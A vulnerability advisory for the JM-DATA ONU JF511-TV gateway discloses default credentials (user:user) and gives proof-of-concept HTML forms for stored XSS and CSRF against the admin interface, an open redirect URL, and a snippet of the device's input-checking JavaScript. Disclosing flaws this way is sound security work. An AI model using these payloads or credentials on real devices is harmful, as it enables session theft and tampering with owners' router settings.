JM-DATA ONU JF511-TV versions 1.0.67, 1.0.62, and 1.0.55 suffer from cross site request forgery, persistent cross site scripting, default credential, and open redirection vulnerabilities.
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JM-DATA ONU JF511-TV Multiple Remote Vulnerabilities
Vendor: JM-DATA GmbH
Product web page: https://www.jm-data.at
Affected version: 1.0.67
1.0.62
1.0.55
Summary: This ONU is the perfect GEPON home and business gateway.
It is an all-rounder in perfection. It can BRIDGE/NAT/RIP ROUTEND
and COMBINED.
Desc: The device suffers from multiple vulnerabilities including:
Default Credentials, CSRF, Authenticated Stored XSS and Open Redirect.
Tested on: Boa/0.93.15
Vulnerability discovered by Neurogenesia
@zeroscience
Advisory ID: ZSL-2022-5708
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5708.php
24.04.2022
--
Default credentials:
--------------------
user:user
Stored XSS / HTML Injection:
----------------------------
<html>
<body>
<form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST">
<input type="hidden" name="url" value="'><script>alert(document.cookie)</script>' />
<input type="hidden" name="action" value="ad" />
<input type="hidden" name="submit-url" value="/secu_urlfilter_cfg_en.asp" />
<input type="submit" value="Go" />
</form>
</body>
</html>
CSRF (delete IP entry filter):
------------------------------
<html>
<body>
<form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST">
<input type="hidden" name="bcdata" value="ld3:idxi0eee" />
<input type="hidden" name="action" value="rm" />
<input type="hidden" name="submit-url" value="/secu_urlfilter_cfg_en.asp" />
<input type="submit" value="Go" />
</form>
<form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST">
<input type="hidden" name="urlfilterEnble" value="off" />
<input type="hidden" name="action" value="rm" />
<input type="hidden" name="bcdata" value="ld3:idxi0eed3:idxi1eee" />
<input type="hidden" name="submit-url" value="https://192.168.1.2:8443/secu_urlfilter_cfg_en.asp" />
<input type="submit" value="Go" />
</form>
</body>
</html>
Open Redirect:
--------------
https://192.168.1.2:8443/boaform/formWirelessTbl?submit-url=https://zeroscience.mk
common.js:
----------
/*
* isCharUnsafe - test a character whether is unsafe
* @c: character to test
*/
function isCharUnsafe(c)
{
var unsafeString = "\"\\`\+\,='\t";
return unsafeString.indexOf(c) != -1
|| c.charCodeAt(0) <= 32
|| c.charCodeAt(0) >= 123;
}
/*
* isIncludeInvalidChar - test a string whether includes invalid characters
* @s: string to test
*/
function isIncludeInvalidChar(s)
{
var i;
for (i = 0; i < s.length; i++) {
if (isCharUnsafe(s.charAt(i)) == true)
return true;
}
return false;
}
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